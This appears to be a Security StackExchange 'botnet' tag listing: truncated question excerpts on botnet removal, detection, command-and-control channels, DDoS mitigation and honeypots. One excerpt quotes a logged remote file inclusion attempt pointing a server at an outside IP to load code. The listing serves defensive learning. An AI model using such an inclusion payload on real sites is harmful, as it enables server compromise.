A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

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Can you get rid of the ZeroAccess botnet without a complete reinstall? [duplicate]

I'm interested in the recommended course of action for when you find a (Windows) system infected with the ZeroAccess botnet. I've seen various blog posts online recommending that the user download ...
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Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
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What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
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How does the Mega-D BotNet send spam?

I have just been reading an report that analyzed the Mega-D Botnet, but what I haven't fully understood is how they are used to send spam? What email address is the mail sent from? Does each bot ...
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What are other channels Botnets can use for command and control except IRC

What command and control channels might a botnet use? Which would be most effective? I found good info on IRC, what are other possibilities? (Exam preparation - no harm intended :-) )
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How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
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Can botnets be injected through open wifi to smartphones?

I have read this paper, which is answers part of the question. It answers, 'open wifi will help increase the spread speed and impact' but what I want to know is, can you 'plant' an open wifi access ...
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How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
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Understanding what bot was used for a Botnet attack

Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords. From an online source: A botnet using more than 90,000 IP addresses to crack ...
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Botnet Attempting to Login to Website

Our server has recently become a target of what appears to be a botnet attack. The first indication was an insane amount of traffic to one of our client's websites - so heavy that the server entirely ...
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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
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BOTs C&C channels

Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ...
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I managed to capture a botnet control host, what do I do with it?

A few days ago one of my webhosting customers had their FTP login compromised, and the attacker modified his index.php file to include some extra code, and roughly twelve thousand other bots have been ...
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how to mitigate a DDoS from botnet on your website that comes from random IPs

I am wondering how do you mitigate a ddos attack which is coming from a botnet and hitting random URLs on a website. If there was a consistent URL it was hitting then it would be fairly simple, and ...
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How can I tell whether this computer is part of a botnet?

One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ...
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Bot detecting by considering request inter-arrival time

If there are some chances to detect a bot by considering the users page viewing time, is it possible to measure this time? When a user request for a page (page request), browser request for several ...
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How similar are bots regarding their HTTP GET request?

Lets assume a botnet is attacking a website by HTTP GET flooding. To find the bots, the only way seems to be finding the similarities of the HTTP GET requests considering the URL and header fields, ...
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How do you search for a botnet out in the wild?

I'm interested in searching for botnets out in the wild. Besides Google dorking for a phrase or code used on the control panel backend for web based interfaces. What other ways are there to search for ...
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What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
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Are there any known botnets targetting smartphones?

Are there any known botnets that specifically target smartphones? What is their topology and how are they controlled? What are they used for?
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Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots
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Monitor incoming TCP/UDP flood attack and graph it

I'm preparing a presentation on a security issue and want to include a demonstration. It won't be in real time, I just need to show some pictures of the results. I have some VPSes that will perform a ...
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How do browser injections work?

I've heard many times that malware like Zeus, SpyEye and Citadel are able to do browser injections to steal credit card data. How do they do it? how do browser "injections" work? How are they able to ...
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Malware that uses http as a covert channel

I'm working on a http traffic analyzer and I need a collection of malware, which uses http as a way to get commands and respond, to analyze their network behaviour. Is there any database of malware, ...
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Is zeus trojan really harmless?

I am confused by this page http://www.wiki-security.com/wiki/Parasite/ZeusTrojan/ I was searching info on google as I read warning article about the fact it was very sophisticated bot that steals ...
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How to attract traffic to a honeypot

I have set up a honeypot, but I am not happy with the low traffic load and I would like to trigger much higher traffic levels. What methods would attract high bot activity? These are the ideas I ...
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How secure is Stack Exchange's reputation?

I recently read an article about researchers being able to penetrate the Facebook network and making lots of friends with about 100 "Social" bots. What would prevent somebody to do the same on Stack ...
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Why was the Hail Mary Cloud named so? [closed]

The Hail Mary Cloud was a botnet that slowly and intelligently attempted to bruteforce SSH logins. Why was it dubbed the Hail Mary Cloud though?
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Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
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How do I know if my computer is being used for a botnet-based DDoS attack?

A botnet is a collection of compromised computers, each of which is known as a 'bot', connected to the Internet. When a computer is compromised by an attacker, there is often code within the ...
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Anatomy of a Botnet takedown

So Microsoft was partly responsible for taking down the Kelihos botnet back in Sept 2011. They used a variety of legal and technical measures to do so. I don't want to get into the global politics ...
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How do researchers “gain control of an attacking PC” and not themselves be considered attackers / criminals?

In reference to this Network Computing Report article titled "'Operation Shady Rat' Perpetrated Five Years Of Long-Term Attacks On Government, Enterprises" The Cliff's Notes to the article is thus: ...
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Looking for botnet IP address feeds to protect against DDoS

I would like to get a live feed of botnet IP addresses delivered from a service and block them under certain conditions. Preferably community based/open source but open to looking at worthy commercial ...
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Statistics on purposes of viruses/malware

Are there any resources that analyze the purpose or goal or the major viruses/malware out in the wild today? For example, what percentage are used to construct botnets (for DDoS or something else)? ...
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Setup and record outbound traffic from a botnet in a sandbox/secure environment

How do I record the outbound 'attack' traffic from a botnet on a Windows XP machine? The captured traffic will be in the Windows XP firewall log. I need to setup some kind of an experiment where I ...
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Why do botnets use IRC but not a web service for communication?

IRC seems still the most prominent way for communication within botnets. Why do attackers choose IRC? In my (very naive) opinion, to set up a web service is far more easier.
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Tools to identify and report hacking attempts originating inside reputable organizations?

Re: Should I report hacking attempts? - Server Fault Lots of people look at their own logs for attacks from the outside. But who regularly reports such attacks back to the source? I'm mainly ...